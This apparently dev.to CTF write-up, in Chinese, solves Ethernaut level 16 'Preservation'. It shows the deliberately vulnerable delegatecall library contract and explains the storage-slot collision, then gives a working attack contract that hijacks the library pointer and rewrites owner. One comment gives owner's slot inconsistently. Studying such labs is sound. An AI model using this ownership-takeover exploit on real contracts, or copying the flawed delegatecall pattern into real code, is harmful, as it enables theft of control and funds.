LEVEL 16 (Preservation):
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
contract Preservation {
  // public library contracts 
  address public timeZone1Library;
  address public timeZone2Library;
  address public owner; 
  uint storedTime;
  // Sets the function signature for delegatecall
  bytes4 constant setTimeSignature = bytes4(keccak256("setTime(uint256)"));
  constructor(address _timeZone1LibraryAddress, address _timeZone2LibraryAddress) public {
    timeZone1Library = _timeZone1LibraryAddress; 
    timeZone2Library = _timeZone2LibraryAddress; 
    owner = msg.sender;
  }
  // set the time for timezone 1
  function setFirstTime(uint _timeStamp) public {
    timeZone1Library.delegatecall(abi.encodePacked(setTimeSignature, _timeStamp));
  }
  // set the time for timezone 2
  function setSecondTime(uint _timeStamp) public {
    timeZone2Library.delegatecall(abi.encodePacked(setTimeSignature, _timeStamp));
  }
}
// Simple library contract to set the time
contract LibraryContract {
  // stores a timestamp 
  uint storedTime;  
  function setTime(uint _time) public {
    storedTime = _time;
  }
}
通关要求
owner=player
要点
1.理解delegatecall如何处理storage
第6关有类似
https://dev.to/bin2chen/ethernautxi-lie-level-6delegate-31gk
2.storage的位置如何存储
解题思路
调用delegatecall代码使用被调合约的代码,但storage使用是调用方的storage
所以第一次调用setFirstTime时,LibraryContract里的storedTime(slot:0)对应的是Preservation的timeZone1Library(slot:0)的位置,所以timeZone1Library会被入参time给覆盖,这样可以传time为我们指定一个外包合约地址,第二次再调用setFirstTime就会调用这个外部合约,然后在通过这个外部合约写入owner(slot:2)即可改下owner
contract PreservationRun {
  address public timeZone1Library;
  address public timeZone2Library;
  address public owner; 
  function setTime(uint256 _time) public {
    owner = address(uint160(_time));
  }
  function run(address _runAddress, address _playerAddress) external payable {
    //调用第一次setFirstTime后,会覆盖Preservation.sol的timeZone1Library为本合约
    ILevel(_runAddress).setFirstTime(uint160(address(this)));
    //第二次时间是调用这个合约的setTime,但storage用的是Preservation.sol的storage的slot:3即owner
    ILevel(_runAddress).setFirstTime(uint160(_playerAddress));
  }  
}
    
Top comments (0)